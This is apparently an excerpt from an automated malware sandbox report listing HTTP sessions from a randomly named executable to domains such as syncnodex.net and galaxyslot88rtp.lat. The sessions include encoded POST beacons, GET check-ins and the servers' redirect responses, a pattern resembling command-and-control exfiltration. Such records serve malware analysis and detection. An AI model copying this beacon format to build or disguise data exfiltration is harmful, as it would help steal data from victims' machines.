                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 59 53 65 62 30 34 4d 45 70 64 51 4b 51 2b 4e 7a 45 55 50 51 58 4c 2f 6c 47 31 54 4e 6a 35 66 51 68 65 7a 45 6e 38 54 35 2b 73 30 7a 50 4e 6a 71 4a 34 49 48 43 61 31 68 31 49 49 59 49 63 36 6b 49 38 48 35 70 6c 37 6b 45 35 75 2f 62 45 41 79 4c 74 36 64 65 41 47 33 30 48 39 76 72 67 70 42 7a 34 31 55 4c 37 46 71 72 77 65 4b 35 34 4d 32 58 47 66 5a 34 6e 78 4b 42 49 48 72 76 6f 6f 6b 56 63 54 79 75 64 4f 6b 63 64 57 6a 64 4d 70 33 6c 43 32 55 75 4e 73 46 7a 44 4c 51 4b 53 6e 2f 2b 7a 35 4f 7a 62 42 70 57 31 34 51 6c 7a 75 65 69 57 66 4b 79 44 42 59 51 64 2b 59 6e 58 56 69 34 76 33 70 2b 4f 67 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=YSeb04MEpdQKQ+NzEUPQXL/lG1TNj5fQhezEn8T5+s0zPNjqJ4IHCa1h1IIYIc6kI8H5pl7kE5u/bEAyLt6deAG30H9vrgpBz41UL7FqrweK54M2XGfZ4nxKBIHrvookVcTyudOkcdWjdMp3lC2UuNsFzDLQKSn/+z5OzbBpW14QlzueiWfKyDBYQd+YnXVi4v3p+Og=


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    18192.168.2.56220515.197.172.60802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:48.847203016 CEST704OUTPOST /xx1z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.syncnodex.net
                                                                                                                                                                    Origin: http://www.syncnodex.net
                                                                                                                                                                    Referer: http://www.syncnodex.net/xx1z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 59 53 65 62 30 34 4d 45 70 64 51 4b 57 65 39 7a 43 7a 6a 51 57 72 2f 6d 61 6c 54 4e 71 5a 66 55 68 65 2f 45 6e 2f 66 70 2b 66 51 7a 42 50 37 71 49 36 67 48 42 61 31 68 36 6f 49 58 4d 63 36 2f 49 38 4b 45 70 6b 58 6b 45 35 36 2f 62 42 38 79 4c 61 75 65 65 51 47 31 79 48 39 74 76 67 70 42 7a 34 31 55 4c 37 42 55 72 77 47 4b 35 49 63 32 57 6e 66 47 32 48 78 46 47 49 48 72 72 6f 6f 67 56 63 54 51 75 59 6d 65 63 66 2b 6a 64 4e 5a 33 6b 58 61 54 6e 4e 73 44 39 6a 4b 54 47 48 53 75 78 6a 31 37 2f 72 55 71 4c 57 67 6b 67 46 44 30 34 30 58 69 68 6a 74 67 41 4f 32 76 32 6e 30 4c 69 4d 6e 5a 67 5a 33 38 57 4b 71 63 6c 63 78 36 2b 58 53 75 77 49 75 6c 44 50 7a 78
                                                                                                                                                                    Data Ascii: tD38rnpX=YSeb04MEpdQKWe9zCzjQWr/malTNqZfUhe/En/fp+fQzBP7qI6gHBa1h6oIXMc6/I8KEpkXkE56/bB8yLaueeQG1yH9tvgpBz41UL7BUrwGK5Ic2WnfG2HxFGIHrroogVcTQuYmecf+jdNZ3kXaTnNsD9jKTGHSuxj17/rUqLWgkgFD040XihjtgAO2v2n0LiMnZgZ38WKqclcx6+XSuwIulDPzx


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    19192.168.2.56220615.197.172.60802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:51.391432047 CEST1721OUTPOST /xx1z/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.syncnodex.net
                                                                                                                                                                    Origin: http://www.syncnodex.net
                                                                                                                                                                    Referer: http://www.syncnodex.net/xx1z/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 59 53 65 62 30 34 4d 45 70 64 51 4b 57 65 39 7a 43 7a 6a 51 57 72 2f 6d 61 6c 54 4e 71 5a 66 55 68 65 2f 45 6e 2f 66 70 2b 66 59 7a 42 2b 62 71 4a 62 67 48 41 61 31 68 6b 34 49 55 4d 63 37 39 49 38 53 41 70 6b 72 30 45 37 43 2f 61 6a 45 79 4a 75 43 65 52 51 47 31 77 48 39 73 72 67 6f 42 7a 34 6b 66 4c 37 78 55 72 77 47 4b 35 4f 51 32 52 32 66 47 30 48 78 4b 42 49 47 35 76 6f 6f 59 56 63 62 71 75 59 71 4f 63 75 65 6a 64 74 4a 33 6a 6c 69 54 73 4e 73 42 77 44 4b 78 47 48 58 32 78 6a 70 42 2f 6f 49 55 4c 57 59 6b 6b 55 43 76 67 67 54 50 36 51 4e 73 45 74 69 34 6f 41 42 74 6c 64 54 43 73 65 44 35 4c 65 76 77 73 6f 45 38 38 57 54 6c 76 50 57 50 4b 6f 4b 6e 39 53 6a 6a 47 77 38 5a 66 65 78 33 35 6a 63 71 65 68 35 58 37 38 4e 74 39 71 4c 6d 69 51 31 6b 51 36 6e 4c 43 6f 5a 4c 6e 75 73 70 39 75 4a 2b 57 6f 32 2b 78 52 43 45 78 75 74 44 45 37 68 5a 71 75 6e 34 5a 57 52 41 78 7a 34 2b 53 31 6f 49 35 47 4e 74 78 36 68 75 45 78 38 63 49 7a 54 4d 6d 38 68 58 64 77 62 47 57 55 41 31 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=YSeb04MEpdQKWe9zCzjQWr/malTNqZfUhe/En/fp+fYzB+bqJbgHAa1hk4IUMc79I8SApkr0E7C/ajEyJuCeRQG1wH9srgoBz4kfL7xUrwGK5OQ2R2fG0HxKBIG5vooYVcbquYqOcuejdtJ3jliTsNsBwDKxGHX2xjpB/oIULWYkkUCvggTP6QNsEti4oABtldTCseD5LevwsoE88WTlvPWPKoKn9SjjGw8Zfex35jcqeh5X78Nt9qLmiQ1kQ6nLCoZLnusp9uJ+Wo2+xRCExutDE7hZqun4ZWRAxz4+S1oI5GNtx6huEx8cIzTMm8hXdwbGWUA1l0P+16RU3x18h+BXdP1Dm18AAzhm61cQ1EUGe02x7FAhdBVxF3HLURDspL516iGKXZxnRLgh/Rw/W4He0P21rDRj3FpXGMcfC95eIt+R18oJyA8pL4hAZsmfZtAu0xqVoPTiOc+4Tm9ZD3hnUqiuDAc1sRh8jVTROB0Ji5CvVTqFVE5ZtahB64VTUf2O59Ug1/XTL4eOdn2R3PHU7zMMA12JdFpOQrbs4l1vM95fozukpyq6w6AYtirrhShxUV+LKWBzzN5eYtaf+qgY6GsO2LmQFxftZg0tZdcuo0vQ4NQUFdqHMEMyWnCY7ZX7TeE9dxySi1Ydv2kETMHDNc9eT3TuQtYCA2+QliP5lWKTP3vTW0Fuiyt0W2Ywh7QlvgAjB8DDxKhQ3yocwXwigMmoI1k+cc9lU29fqdjUE5YedLg1g1Q1D6T+ogctJuBql0uQNUv01ps+swh48qy1r0cUO77cRRcBmEhsnb4fei/FfseIZWx1HeRKbADNWT+4aE6FiNh417UCvKqLSMAJ8bEiO4NiktIZJSkBP8PY761Iab18lY8Zvtdh9wvuAfN0z/fbFhUMWIJs3yGsuzUXg0b3uZMB0XRuCL/+pY8Dg+uCge393Gij2fVGyGFP28+6uR6b9GuqpfARrHGTyTDaEAbeCoHkChIyZA3RMXV [TRUNCATED]


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    20192.168.2.56220715.197.172.60802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:53.965677023 CEST426OUTGET /xx1z/?tD38rnpX=VQ273Por9tZNXcpnBjHyerHfPh3IuY3S8eL22/fuso5dBdPYMoEWGed6+bFxO5C9LYS/pyvuVKWKURQ6ZaqIWALShVtLhBJf0Zc/Moct8BW03OYKJW272kVfLJqh86tTEg==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.syncnodex.net
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:28:54.599535942 CEST412INHTTP/1.1 200 OK
                                                                                                                                                                    Server: openresty
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:28:54 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 272
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 74 44 33 38 72 6e 70 58 3d 56 51 32 37 33 50 6f 72 39 74 5a 4e 58 63 70 6e 42 6a 48 79 65 72 48 66 50 68 33 49 75 59 33 53 38 65 4c 32 32 2f 66 75 73 6f 35 64 42 64 50 59 4d 6f 45 57 47 65 64 36 2b 62 46 78 4f 35 43 39 4c 59 53 2f 70 79 76 75 56 4b 57 4b 55 52 51 36 5a 61 71 49 57 41 4c 53 68 56 74 4c 68 42 4a 66 30 5a 63 2f 4d 6f 63 74 38 42 57 30 33 4f 59 4b 4a 57 32 37 32 6b 56 66 4c 4a 71 68 38 36 74 54 45 67 3d 3d 26 45 6a 59 30 69 3d 78 66 4f 64 4b 72 4d 50 75 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?tD38rnpX=VQ273Por9tZNXcpnBjHyerHfPh3IuY3S8eL22/fuso5dBdPYMoEWGed6+bFxO5C9LYS/pyvuVKWKURQ6ZaqIWALShVtLhBJf0Zc/Moct8BW03OYKJW272kVfLJqh86tTEg==&EjY0i=xfOdKrMPu"}</script></head></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    21192.168.2.562208162.0.209.213802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:28:59.648665905 CEST702OUTPOST /lbpf/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.galaxyslot88rtp.lat
                                                                                                                                                                    Origin: http://www.galaxyslot88rtp.lat
                                                                                                                                                                    Referer: http://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 42 38 72 2f 76 30 50 66 5a 6d 43 5a 48 5a 46 58 79 33 74 42 77 6d 48 59 57 4f 30 62 68 62 67 2b 63 6e 54 6b 44 46 31 55 75 6a 43 46 76 66 67 71 73 78 2f 6d 63 59 73 57 59 2b 43 34 39 57 52 65 38 6e 43 71 4d 61 47 72 39 65 7a 79 53 62 42 6c 57 31 4b 78 37 2f 57 41 59 73 4c 37 5a 31 68 66 78 58 71 51 4c 65 50 47 50 34 76 2f 68 30 45 43 6a 47 74 2f 50 54 43 36 4c 77 4e 59 67 44 57 6b 4e 6c 77 4b 79 78 53 52 53 6d 68 54 46 36 39 76 45 77 4b 49 4f 53 45 4d 61 69 46 6a 5a 55 4c 46 7a 69 61 79 52 51 52 4e 30 6c 6a 2b 70 52 48 69 55 47 54 59 64 6c 42 36 36 6a 43 47 46 6c 47 4f 2f 34 6b 65 4d 68 77 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=B8r/v0PfZmCZHZFXy3tBwmHYWO0bhbg+cnTkDF1UujCFvfgqsx/mcYsWY+C49WRe8nCqMaGr9ezySbBlW1Kx7/WAYsL7Z1hfxXqQLePGP4v/h0ECjGt/PTC6LwNYgDWkNlwKyxSRSmhTF69vEwKIOSEMaiFjZULFziayRQRN0lj+pRHiUGTYdlB66jCGFlGO/4keMhw=
                                                                                                                                                                    Oct 25, 2024 16:29:00.320099115 CEST1062INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    keep-alive: timeout=5, max=100
                                                                                                                                                                    content-type: text/html
                                                                                                                                                                    content-length: 795
                                                                                                                                                                    date: Fri, 25 Oct 2024 14:29:00 GMT
                                                                                                                                                                    server: LiteSpeed
                                                                                                                                                                    location: https://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                                                                                                    connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    22192.168.2.562209162.0.209.213802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:02.417022943 CEST722OUTPOST /lbpf/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.galaxyslot88rtp.lat
                                                                                                                                                                    Origin: http://www.galaxyslot88rtp.lat
                                                                                                                                                                    Referer: http://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 42 38 72 2f 76 30 50 66 5a 6d 43 5a 46 35 31 58 2b 30 46 42 32 47 48 66 61 75 30 62 6f 37 67 36 63 6e 58 6b 44 45 68 45 75 51 6d 46 6f 39 34 71 74 77 2f 6d 62 59 73 57 57 65 43 78 77 32 52 56 38 6e 4f 59 4d 65 47 72 39 65 6e 79 53 61 78 6c 56 47 53 32 37 76 57 43 42 38 4c 35 57 56 68 66 78 58 71 51 4c 65 79 52 50 34 6e 2f 68 67 34 43 73 48 74 38 54 6a 43 35 62 67 4e 59 32 7a 57 34 4e 6c 78 6e 79 30 79 33 53 6b 70 54 46 34 6c 76 45 6c 71 4c 48 53 45 4b 48 53 45 69 5a 31 53 55 2b 67 6d 6f 4d 51 55 35 68 45 6d 46 68 48 71 49 4f 6b 62 77 4f 46 74 43 71 77 4b 78 55 56 6e 6e 6c 62 30 75 53 32 6d 59 50 6c 73 34 53 58 58 6d 61 4f 49 54 61 71 4e 73 6e 6e 71 50
                                                                                                                                                                    Data Ascii: tD38rnpX=B8r/v0PfZmCZF51X+0FB2GHfau0bo7g6cnXkDEhEuQmFo94qtw/mbYsWWeCxw2RV8nOYMeGr9enySaxlVGS27vWCB8L5WVhfxXqQLeyRP4n/hg4CsHt8TjC5bgNY2zW4Nlxny0y3SkpTF4lvElqLHSEKHSEiZ1SU+gmoMQU5hEmFhHqIOkbwOFtCqwKxUVnnlb0uS2mYPls4SXXmaOITaqNsnnqP
                                                                                                                                                                    Oct 25, 2024 16:29:03.082413912 CEST1062INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    keep-alive: timeout=5, max=100
                                                                                                                                                                    content-type: text/html
                                                                                                                                                                    content-length: 795
                                                                                                                                                                    date: Fri, 25 Oct 2024 14:29:03 GMT
                                                                                                                                                                    server: LiteSpeed
                                                                                                                                                                    location: https://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                                                                                                    connection: close
                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    23192.168.2.562210162.0.209.213802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:29:04.960555077 CEST1739OUTPOST /lbpf/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.galaxyslot88rtp.lat
                                                                                                                                                                    Origin: http://www.galaxyslot88rtp.lat
                                                                                                                                                                    Referer: http://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 42 38 72 2f 76 30 50 66 5a 6d 43 5a 46 35 31 58 2b 30 46 42 32 47 48 66 61 75 30 62 6f 37 67 36 63 6e 58 6b 44 45 68 45 75 51 75 46 76 49 73 71 73 58 72 6d 61 59 73 57 49 4f 43 38 77 32 52 49 38 6e 47 6d 4d 65 44 65 39 64 66 79 53 35 35 6c 64 54 2b 32 75 66 57 43 63 73 4c 36 5a 31 68 47 78 58 37 5a 4c 65 43 52 50 34 6e 2f 68 68 6f 43 72 57 74 38 41 7a 43 36 4c 77 4e 55 67 44 57 63 4e 68 6b 53 79 30 32 42 53 56 4a 54 46 59 31 76 47 52 4b 4c 49 53 45 49 58 43 46 78 5a 31 76 4d 2b 6b 47 6b 4d 54 49 58 68 44 71 46 77 44 58 2b 54 30 72 71 61 48 70 56 73 51 53 6a 47 77 75 43 67 62 74 55 54 58 2f 38 48 6e 41 32 53 51 62 36 54 76 6c 6b 4c 63 42 4d 78 48 50 61 43 2f 66 45 38 4d 6a 66 61 69 62 6a 5a 72 4f 79 49 6a 45 72 78 5a 78 71 58 74 66 6e 75 75 39 4f 75 71 44 69 35 77 4f 49 56 4d 36 35 61 75 68 36 34 68 57 49 32 30 61 6c 65 6c 37 6f 53 59 69 6a 68 77 77 31 44 54 61 71 74 5a 42 4a 4b 6c 56 68 65 4d 69 42 41 4b 32 32 6e 6c 6e 74 48 62 76 62 33 51 71 70 43 39 42 4e 49 33 65 44 34 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=B8r/v0PfZmCZF51X+0FB2GHfau0bo7g6cnXkDEhEuQuFvIsqsXrmaYsWIOC8w2RI8nGmMeDe9dfyS55ldT+2ufWCcsL6Z1hGxX7ZLeCRP4n/hhoCrWt8AzC6LwNUgDWcNhkSy02BSVJTFY1vGRKLISEIXCFxZ1vM+kGkMTIXhDqFwDX+T0rqaHpVsQSjGwuCgbtUTX/8HnA2SQb6TvlkLcBMxHPaC/fE8MjfaibjZrOyIjErxZxqXtfnuu9OuqDi5wOIVM65auh64hWI20alel7oSYijhww1DTaqtZBJKlVheMiBAK22nlntHbvb3QqpC9BNI3eD4WUsWu/EurtlN6vZJYj18ukfqGf888zaWMsU8sC6f5ZGqlpqweq3lSdXroo2SUuT2uy8+bXJ/vIj4u7AXwcj9wea6AQiYuoeDH3549FYRaypwCYK6/KyIaa9IYTNEDv1D8t7AJu/avWALu6DuHe46KdTuy/nMJjducqMIOZun85nRknqOjLlli7sp2ts2A/HmPkvpjaRz55lKNse4KVuDOf9J1rOHZMnLCar5QWWiz6mjfg2Chi7Xs4lu+wVuDapB+B51ktVh6WnGUvMnc395ontIrAMUsOg1BtxNwlyvSejdme+Jn2R7AK+WRiEUHvO1W24lh3u6ZFUpcTZ5+OSDTr3b2kZp3srjZ0Ue1bXJ265JXFZI2nLzKCqjOfGI3vfHrSD9q5ikuECEYQ4VzBoWwmlRRT+OlWnHcjEkQuZqHj7xE2l5IZ3w92V5YRDWPH64vnuLfumpw9X8iyc4+5qdXpkENaU0ktSS4C/1jX15vHV23ZMYGUM1N3uvfmelDYk7HD4x9lULFryJacsnxv/unQkLr/7/gzFskK1dVLGBNaT0Flmt5tw93HuP+JxpJC8p+aVBZ05foFwF46RWF4DI3elKxn1rXTX9WQaEqy13QyWCZuoeyZKU5FZedWcTQxDG7E45p5mk2a7Q4ZDGcVcJsu/pR/V9EKv/M9 [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:29:05.620090008 CEST1062INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                    keep-alive: timeout=5, max=100
                                                                                                                                                                    content-type: text/html
                                                                                                                                                                    content-length: 795
                                                                                                                                                                    date: Fri, 25 Oct 2024 14:29:05 GMT
                                                                                                                                                                    server: LiteSpeed
                                                                                                                                                                    location: https://www.galaxyslot88rtp.lat/lbpf/
                                                                                                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                                                                                                    connection: close
